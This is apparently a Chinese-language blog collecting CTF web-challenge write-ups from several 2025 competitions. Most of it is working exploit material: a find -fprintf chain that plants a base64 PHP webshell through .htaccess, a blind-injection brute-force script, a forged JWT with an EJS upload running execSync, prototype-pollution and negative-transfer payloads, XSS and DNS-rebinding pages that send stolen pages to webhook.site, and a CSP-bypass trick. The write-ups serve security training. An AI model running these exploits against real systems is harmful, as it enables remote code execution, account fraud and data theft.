Some CTF

QnQSec CTF 2025 web FaaS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

<?php
$cmd = $_GET['cmd'];
if (!isset($cmd)) {
highlight_file(__FILE__) && die();
}

if (strpos($cmd, ";") !== False || strpos($cmd, "|") !== False || strpos($cmd, "$") !== False ||
strpos($cmd, "`") !== False || strpos($cmd, "&") !== False || strpos($cmd, "\n") !== False ||
strpos($cmd, ">") !== False || strpos($cmd, "<") !== False || strpos($cmd, "(") !== False ||
strpos($cmd, ")") !== False || strpos($cmd, " ") !== False || strpos($cmd, "\r") !== False ||
strpos($cmd, "+") !== False || strpos($cmd, "{") !== False || strpos($cmd, "}") !== False ||
strpos($cmd, "[") !== False || strpos($cmd, "]") !== False) {
die("Bad bad hacker :<");
}

$cmd = "find " . $cmd;
system($cmd);

分析并尝试之后得出几个可以确定的点:

  • 过滤了的这些字符,无法实现另起一个命令
  • -exec这条路走不通

然后一番查找找到 -fprintf 这个东西,通过find -fprintf 可以实现任意文件写入。

那剩下就是任意写入文件漏洞的攻击。经过尝试之后又可以分析出几点:

  • 过滤了尖括号,无法直接写入PHP文件
  • 无法写入定时任务

最后通过.htaccess 经过一个base64.

htaccess的内容:

1
php_value auto_prepend_file php://filter/read=convert.base64-decode/resource=a.jpg

再写入一个a.jpg的shell

http://161.97.155.116:8888/?cmd=/bin/whoami%09-fprintf%09.htaccess%09"php_value%09auto_prepend_file%09php://filter/read=convert.base64-decode/resource=a.jpg"

http://161.97.155.116:8888/?cmd=/bin/whoami%09-fprintf%09a.jpg%09"PD9waHAKaWYgKGlzc2V0KCRfR0VUWydjJ10pKSB7CiAgICBAc3lzdGVtKCRfR0VUWydjJ10pOwp9"&c=/readflag%20i%20want%20the%20flag%20please

QnQSec{big_thanks_2_🍊_4876three}

大部分人用的fprintf支持8禁止编码解的。

QnQSec CTF 2025 web Date-Logger

传入一个超大的PHPSESSID=8889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988891;

会触发服务端报错。

Warning: session_destroy(): Trying to destroy uninitialized session in /var/www/html/index.php on line

直接盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
import requests
import time
import string

# -- 配置区 --

# 目标URL
URL = "http://161.97.155.116:8889/"

# 从你的请求中复制的HTTP头部信息
# 注意:Content-Length 和 Host 通常由requests库自动管理,这里可以省略
HEADERS = {
'Cache-Control': 'max-age=0',
'Origin': 'http://161.97.155.116:8889',
'Content-Type': 'application/x-www-form-urlencoded',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Referer': 'http://161.97.155.116:8889/',
# 将你提供的完整Cookie放在这里
'Cookie': 'PHPSESSID=888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988898889888988891;',
'Accept-Encoding': 'gzip, deflate, br',
'Accept-Language': 'en,zh-CN;q=0.9,zh-HK;q=0.8,zh;q=0.7',
'Connection': 'keep-alive'
}


# -- 脚本核心逻辑 --

def solve_blind_injection():
"""
执行布尔盲注攻击来获取flag,尝试所有可见的ASCII字符。
"""
# 定义flag中可能出现的字符集 (所有可见的ASCII字符)
# string.printable 包含字母、数字、标点符号和空白字符
# 我们通常在flag中不需要空白字符,所以这里使用 string.ascii_letters, string.digits, 和 string.punctuation
charset = string.ascii_letters + string.digits + string.punctuation + '{}' # 确保大括号在内

# 或者,使用ASCII码范围生成字符集
# charset = ''.join(chr(i) for i in range(32, 127))

# 初始化已知的flag前缀和session
known_flag = "QnQSec{f_u_linux_"
session = requests.Session()

print("[*] 开始进行布尔盲注攻击...")
print(f"[*] 已知前缀: {known_flag}")
print(f"[*] 将会尝试的字符集: {charset}")

# 循环直到找到结束符 '}'
while not known_flag.endswith('}'):
found_next_char = False
for char_to_guess in charset:
# 构造本次猜测的payload
payload = known_flag + char_to_guess

# 准备POST的数据
post_data = {'search': payload}

print(f"\r[*] 正在尝试: {payload.ljust(60)}", end="")

try:
# 发送POST请求
response = session.post(URL, headers=HEADERS, data=post_data, timeout=10)
response.raise_for_status() # 如果请求失败 (例如 404, 500), 抛出异常

# 关键判断:检查响应中是否包含 "session_destroy" 关键字
# 这个关键字表示我们的猜测是正确的
if 'session_destroy' in response.text:
known_flag += char_to_guess
print(f"\n[+] 字符找到! 当前Flag: {known_flag}")
found_next_char = True
break # 跳出内层循环,开始猜下一个字符

except requests.exceptions.Timeout:
print(f"\n[!] 请求超时: 正在尝试 '{payload}'")
print("[*] 可能是网络问题或服务器响应慢,继续尝试下一个字符...")
continue

except requests.exceptions.RequestException as e:
print(f"\n[!] 请求出错: {e}")
print("[*] 脚本将在5秒后重试...")
time.sleep(5)
continue # 跳过此次循环

# 如果遍历完所有字符都没找到,说明字符集不全或逻辑有误
if not found_next_char:
print("\n[!] 无法找到下一个字符。可能的原因:")
print(" 1. 目标flag包含的字符不在当前字符集中。")
print(" 2. 攻击逻辑失效或已被修复。")
print(" 3. 网络连接不稳定。")
break

print("\n[+] 攻击完成!")
if known_flag.endswith('}'):
print(f"[*] 最终找到的Flag是: {known_flag}")
else:
print(f"[*] 攻击中止,当前已找到的部分: {known_flag}")


if __name__ == "__main__":
solve_blind_injection()
1
2
3
4
5
6
7
[*] 正在尝试: QnQSec{f_u_linux_:sad:!                                     
[+] 字符找到! 当前Flag: QnQSec{f_u_linux_:sad:!
[*] 正在尝试: QnQSec{f_u_linux_:sad:!}
[+] 字符找到! 当前Flag: QnQSec{f_u_linux_:sad:!}

[+] 攻击完成!
[*] 最终找到的Flag是: QnQSec{f_u_linux_:sad:!}

N1CTF 2025 eezzjs

这里思路比较直接:突破JWT校验,上传,然后利用SSTI命令执行来获取Flag.

这个分析费劲了一会,都快分析出来了,然后一搜索,结果发现是个CVE.

https://github.com/advisories/GHSA-95m3-7q98-8xr5

核心就是传入一个对象,对象有length属性,可以设置成负数,实现回滚。

1
2
3
4
> require('sha.js')('sha256').update('foo').digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
> require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'

题目中,传入了三个参数进行,前两个都是可控的,主要是最后一个secret是未知的。

这里的关键点就是,回滚的长度把secret和header的长度都算上。

这样算下来 长度是45,那么payload就是{"length":-45}

1
2
3
4
5
6
7
8
9
10
11
12
const sha256 = (...messages) => {
const hash = sha('sha256');
messages.forEach((m) => {
console.log(typeof m);
console.log(m);
hash.update(m);
});
return hash.digest('hex');
};


const expectedSignatureHex = sha256(...[JSON.stringify(header), payload, secret]);

然后本地调试 拿到响应的签名值是674dcdbbb09261235ee8efc1999daee725dad0ec314a8d1d80cb11229e7596c1

最后Token是 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZW5ndGgiOi00NX0=.674dcdbbb09261235ee8efc1999daee725dad0ec314a8d1d80cb11229e7596c1

然后是突破上传 文件后缀不允许出现js字符串。

1
2
3
4

if (/js/i.test(ext)) {
return res.status(403).send('Denied filename');
}

这里踩了点坑,思路乱了,应该用排除法,确定一些已经能够定下来的东西,再从旁边去突破。
例如这里一定确定了一定使用ejs,那剩下突破应该是主要在上传。

最后上传的payload.

1
{"filename":"../views/flag3.ejs/.","filedata":"ew0KICAiZmlsZW5hbWUiOiAic2hlbGwuZWpzIiwNCiAgImZpbGVkYXRhIjogIjwlPSBnbG9iYWwucHJvY2Vzcy5tYWluTW9kdWxlLnJlcXVpcmUoJ2NoaWxkX3Byb2Nlc3MnKS5leGVjU3luYygnY2F0IC9mbGFnJykudG9TdHJpbmcoKSAlPiINCn0="}

群里看到一种更有意思的解法

upload pwned.pwned to /app/views/pwned.pwned: {“filename”:”../views/pwned.pwned”,”filedata”:”dGVzdAo=”}

upload pwned to /app/node_modules/:

1
{"filename":"../node_modules/pwned","filedata":"ZnVuY3Rpb24gX19leHByZXNzKCkgewogICAgY29uc29sZS5sb2coJ3B3bmVkYicpOwp9Cgptb2R1bGUuZXhwb3J0cyA9IHsgX19leHByZXNzIH07"}
1
2
3
4
5
function __express() {
console.log('pwnedb');
}

module.exports = { __express };

AmateursCTF 2025 web/desafe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import { serve } from '@hono/node-server'
import { Hono } from 'hono'
import { readFileSync } from 'fs'
import * as devalue from 'devalue';

const app = new Hono()
const FLAG = readFileSync('flag.txt')

class FlagRequest {
constructor(feedback) {
// your feedback is greatly appreciated!
delete { feedback }
}

get flag() {
if (this.admin) {
return FLAG;
} else {
return "haha nope"
}
}
}

app.get('/', (c) => {
return c.text(`POST /
Body: FlagRequest(feedback), must be devalue stringified`)
})

app.post('/', async (c) => {
const body = await c.req.text();

const flagRequest = devalue.parse(body, {
FlagRequest: ([a]) => new FlagRequest(a),
})


if (!(flagRequest instanceof FlagRequest)) return c.text('not a flag request')

return c.text(flagRequest.flag)
})

serve({
fetch: app.fetch,
port: 3000
}, (info) => {
console.log(`Server is running on http://localhost:${info.port}`)
})

CVE-2025-57820 https://github.com/advisories/GHSA-vj54-72f3-p5jv

1
[{"x":1,"y":2,"admin":3,"__proto__":4},3,4,true,["FlagRequest",5],[6,7],8,9]

PwnSec CTF 2025 | A Very Safe Locker Indeed

减去负数金额 就是加上

1
2
3
4
5
6
7
8
9
10
11
const transaction_amount = parseFloat(amount) * 1.01 // Include 1% fee
if (user_from.mainBalance >= transaction_amount && transaction_amount > 0) {
user_from.mainBalance -= transaction_amount
await user_from.save()
} else {
return res.render('index', {
user: req.user,
balance: user_from.mainBalance,
failMessage: 'Insufficient balance to cover the transfer and fees.',
})
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST /transfer HTTP/1.1
Host: 1962bfce2e7d7acb.chal.ctf.ae
Cookie: session=s%3Aj%3A%7B%22userId%22%3A%226918ab0eeb20bf4d1b5e4628%22%2C%22firstName%22%3A%22test%22%2C%22lastName%22%3A%22test%22%2C%22phoneNumber%22%3A%222323232%22%2C%22email%22%3A%22a%40qq.com%22%7D.a5boElllkfAE6N3GSsk6aFbx5ombeTAdwjcE0lXxxFg
Content-Length: 65
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Origin: https://1962bfce2e7d7acb.chal.ctf.ae
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://1962bfce2e7d7acb.chal.ctf.ae/
Accept-Encoding: gzip, deflate, br
Accept-Language: en,zh-CN;q=0.9,zh-HK;q=0.8,zh;q=0.7
Priority: u=0, i
Connection: keep-alive

receiverInfo=6918ab0eeb20bf4d1b5e46281&amount=-100000000000000000

绕过csp,注意闭合

1
/locker?userMessage=\"}`;alert(1);a=``

获取 /master/confedential 响应结果然后使用location重定向进行外发。

1
\"}`;fetch(`/master/confedential`).then(Function.prototype.call.bind(Response.prototype.text)).then(function(t){location.href=`https://webhook.site/8ca58cbe-0061-4107-a28b-d6e522e77be5?`+t});a=`

PwnSec CTF 2025 | OhMyPP

原型链污染,把可执行路径换成上传的文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /report HTTP/1.1
Host: 1f4e39599ee9b212.chal.ctf.ae
Content-Length: 171
Sec-Ch-Ua-Platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Sec-Ch-Ua: "Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Origin: https://1f4e39599ee9b212.chal.ctf.ae
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://1f4e39599ee9b212.chal.ctf.ae/report
Accept-Encoding: gzip, deflate, br
Accept-Language: en,zh-CN;q=0.9,zh-HK;q=0.8,zh;q=0.7
Priority: u=1, i
Connection: keep-alive

{"username": "__proto__",
"issue": "executablePath",
"description": "/app/static/16976a3b3c7ae6b11cf3523983fa2bf2",
"url": "http://example.com"}

PwnSec CTF 2025 | FireLeak

主要用了一个trick,让浏览器重新获取IP。初始ip直接拒收流量。
这里我用的python的base http,直接拒收服务。

踩了个大坑,webhook一直收不到,原来是触发了webhook的风控,直接把我给ban了。绝了,浪费时间。

DNS重绑定,用了这个服务:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Payload</title>
</head>
<body>
<script>
setTimeout(function() {

var firstErrorSent = false;
var interval_xhr = setInterval(function() {
var xhr = new XMLHttpRequest();
xhr.open('GET', '/flag', false);

try {
xhr.send();
} catch (error) {
if (!firstErrorSent) {
navigator.sendBeacon('https://webhook.site/8ca58cbe-0061-4107-a28b-d6e522e77be5?catch_error=' + encodeURIComponent(error.message));
firstErrorSent = true;
}
return;
}

if (xhr.status !== 404 && xhr.status !== 0) {
clearInterval(interval_xhr);
navigator.sendBeacon('https://webhook.site/8ca58cbe-0061-4107-a28b-d6e522e77be5?status_xhr=' + xhr.status, xhr.responseText);
}
}, 500);

}, 10);
</script>
</body>
</html>

PwnSec CTF 2025 | PSPD

这个XSS的输出点,给了个非常迷惑性的玩意,让人觉得是用户名注入。

但其实浏览器js中,id名字可以直接js中使用。

所以,一个a标签,id名字取成userData。

<a href="https://%3Cimg%20src%3Dx%20onerror%3Deval%28atob%28%27YWxlcnQoMSk%3D%27%29%29%20%2F%3E@x.com" id="userData"></a>

那么 userData.username 取的是href链接里的那部分……

也太trick了…..

1
2
3
4
5
6
7
8
userDataElement.insertAdjacentHTML(
"beforeend",
`<p style='margin-top: 3rem;'>Not agent <b>${decodeURIComponent(
userData.username
)}</b>? Report this incident to +111-337-1337</p>`
);
} catch (err) {
console.error(err);

PwnSec CTF 2025 | MaxPayne

https://github.com/pallets/werkzeug/issues/2833

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
根据搜索结果,您提供的链接指向的推文(来自 @pilvar222)讨论的是 PHP 中的一个特性(或更准确地说,是一个配置项)——max_input_vars。

这个特性是 PHP 用来限制单个请求(如 GET, POST 或 COOKIE)中所能接受的输入变量的最大数量。

详细解释:
是什么 (What)? max_input_vars 是在 php.ini 配置文件中的一个指令。它定义了 PHP 脚本在一次请求中可以处理的最大变量数量。

为什么 (Why)? 这个限制主要是出于安全考虑。如果不设限制,攻击者可能会发送一个包含海量变量的请求(例如,一个非常庞大的 POST 表单)。这可能会消耗服务器大量的资源(CPU 和内存)来解析这些变量,导致服务器性能下降甚至崩溃,这是一种潜在的拒绝服务(DoS)攻击。

默认值 (Default Value)? 在 PHP 5.3.9 及以后的版本中,这个值的默认设置通常是 1000

如何工作 (How)? 当一个 HTTP 请求(例如用户提交表单)到达服务器时,PHP 会开始解析请求中的数据(如 foo=bar&baz=qux...)。

如果请求中的变量数量小于或等于 max_input_vars 的限制(例如 1000),所有变量都会被正常解析并填充到 $_GET、$_POST 或 $_COOKIE 等超全局数组中。

如果请求中的变量数量超过了这个限制(例如 1001 个),PHP 会停止解析。它会接受前 1000 个变量,而第 1001 个及之后的所有变量都将被丢弃,并且 PHP 会产生一个 E_WARNING 级别的错误。

潜在的安全风险(推文可能讨论的重点):
这个“截断”行为可能会引入严重的安全漏洞,尤其是当应用程序的逻辑依赖于那些“可能被截断”的变量时。

举个例子: 假设一个应用有一个更新用户设置的表单,它发送了 1001 个变量。最后一个变量(第 1001 个)可能是一个关键的安全令牌(如 CSRF token)或者是一个“确认”按钮的值。

POST Data:
var_1=a
var_2=b
...
var_999=y
var_1000=z
var_1001=security_token_value <-- 攻击者故意构造的第1001个变量
如果 max_input_vars 是 1000

服务器只会接收到 var_1 到 var_1000。

var_1001(即 security_token_value)会被丢弃。

如果应用程序的 安全检查逻辑是 "IF security_token is present AND valid THEN...",由于 security_token 根本不存在于 $_POST 数组中,这个检查可能会被意外绕过。

Tenable 的一篇分析文章(在搜索结果中被引用)就提到了这一点,即这种变量截断可能被用来绕过某些安全检查或函数调用。推文作者(@pilvar222)很可能是在演示或讨论这种由 max_input_vars 限制导致的漏洞。

总结:
这个特性是 PHP 的一个内置安全机制,用于防止 DoS 攻击。然而,如果开发者不了解这个限制,或者攻击者恶意利用这个“截断”行为,它就可能反过来成为一个安全漏洞的入口。


您问到了点子上了。您发的这个推文(以及它背后讨论的技术)确实是关于一个非常巧妙的 CSP 绕过技巧,而这个技巧的核心就是利用我上次提到的 max_input_vars。

这(max_input_vars)本身不是 CSP 漏洞,但它的一个副作用可以被用来**“毒害”**服务器的响应,从而使 CSP 标头失效。

绕过原理:”标头前置“规则
这个绕过的核心原理,在于 PHP 的一个基础规则:

header() 函数必须在任何实际输出(HTML、文本,甚至是一个空格)之前被调用。

Content-Security-Policy (CSP) 是通过 HTTP 标头(Header)发送给浏览器的。在 PHP 中,这意味着开发者会使用 header("Content-Security-Policy: ...") 这样的代码来设置它。

如果 PHP 脚本在调用 header() 之前不小心输出了任何内容(哪怕是一个 Warning 警告信息),那么这个 header() 调用将静默失败,CSP 标头根本不会被发送。

max_input_vars 的妙用(攻击链)
@pilvar222 展示的技巧就是如何强制 PHP 在 header() 函数被调用之前产生输出。

攻击者的目标: 网站上有一个 XSS 漏洞(例如 echo $_GET['xss'];),但它被一个严格的 CSP 策略(如 default-src 'self')所保护,导致脚本无法执行。

max_input_vars 的副作用: 当 PHP 收到的输入变量(例如 GET 参数)数量超过了 php.ini 中设定的 max_input_vars 值(默认 1000)时,PHP 不仅会截断变量,它还会在响应的最开头自动输出一个 Warning(警告)信息。

例如:<b>Warning</b>: Input variables exceeded 1000...

组合攻击: 攻击者现在构造一个恶意 URL,这个 URL 同时包含 XSS 负载和超过 1000 个的“垃圾”参数。

正常 URL ( CSP 拦截): https://example.com/page.php?xss=<svg/onload=alert(1)>

响应: HTTP/1.1 200 OK Content-Security-Policy: default-src 'self' ... <svg/onload=alert(1)> (不执行)

恶意 URL (绕过 CSP): https://example.com/page.php?xss=<svg/onload=alert(1)>&a=1&a=2&a=3&...&a=1001

服务器处理流程:

PHP 开始处理请求。

PHP 发现有 1002 个(xss + 1001 a)输入变量,超过了 1000 的限制。

PHP 立即向响应体输出警告:<b>Warning</b>: Input variables exceeded...

page.php 脚本继续执行,它尝试设置 CSP:header("Content-Security-Policy: ...")。

因为前面已经有了输出(那个 Warning),header() 函数调用失败。

脚本继续执行,最后输出 XSS 负载:echo $_GET['xss'];

最终响应 (发送给浏览器): HTTP/1.1 200 OK (没有 CSP 标头!) ... <b>Warning</b>: Input variables exceeded... <svg/onload=alert(1)> (成功执行!)

总结
这个技巧的精髓在于:利用 max_input_vars 这个用于防范 DoS 的安全特性,使其产生一个“有副作用”的警告输出,这个输出破坏了 CSP 标头设置的前提条件,最终导致 CSP 策略被完全移除,从而使 XSS 攻击得以成功。

这在 CTF 挑战和现实世界的漏洞挖掘中都是一个非常高级和巧妙的技巧。

Devil Net v2

1
2
3
4
5
6
7
8
9
10
这个解法比我之前提到的“Header 重定向”要高级得多,也更符合高质量 CTF 题目的考点。这是一种基于 CSP(内容安全策略)Oracle 和 HTTP 响应截断 的 XS-Leak(跨站泄露)攻击。

核心原理总结
这个脚本利用了 CRLF 注入漏洞做了三件事,组合起来实现逐字节爆破 Flag:

上下文篡改 (Context Confusion):通过注入 <style> 标签,强行让浏览器把原本是 HTML 的页面内容解析为 CSS 样式表。

响应截断 (Response Truncation):通过注入恶意的 Content-Length 头,控制浏览器只读取页面的一小部分(刚好读到我们猜测的 Flag 字符位置)。

CSP 哈希预言机 (CSP Hash Oracle):利用 Content-Security-Policy-Report-Only 头,告诉浏览器:“如果这段 CSS 内容的哈希值不是我算出来的这个,就发个报错报告给我”。

Backup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

import socket
import json

host = "192.168.31.34"
port = 3002
data = {"ixxp": "192.168.31.34"}
body = json.dumps(data)

for byte in range(256):
request = (
b"POST /ping%2f.."+ bytes([byte]) + b"/debug" + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: application/json\r\n"
b"Content-Length: " + str(len(body)).encode() + b"\r\n"
b"Connection: close\r\n"
b"\r\n" + body.encode()
)

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((host, port))
s.sendall(request)
response = s.recv(4096).decode()
if "address" in response:
print(response)
print(f"Bypass found with byte \\x{byte:02x}")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63

import os
import datetime
import sys
import traceback
import inspect

def obj_walker(obj,searcher,filter,depth=10):
visited = set()

def backtrace():
stack = inspect.stack()
path = []
for i in stack:
if(i.function == "dfs"):
try:
path.append(i.frame.f_locals['name'])
except Exception as e:
raise e
print('.'.join(path[::-1]))

def dfs(current,d,name,visited):
visited = set(visited)
if filter(name):
return
if searcher(current):
backtrace()
return
if id(current) in visited:
return
if d > depth:
return

visited.add(id(current))
for i in dir(current):
try:
next = getattr(current,i)
dfs(next,d+1,i,visited)
except AttributeError as e:
pass
if isinstance(current, dict):
for k,v in current.items():
dfs(k,d+1,f'[{k}]',visited)
dfs(v,d+1,f'[{k}]',visited)
if isinstance(current, list):
i = 0
for next in current:
i += 1
dfs(next,d+1,f'[{i}]',visited)
dfs(obj,0,'',visited)

def searcher(i):
if hasattr(i,'__name__') and i.__name__ == 'popen':
print(i)
return True
return False

def filter(name):
if '__' in name:
return True
return False

obj_walker(sys.modules,searcher,filter,4)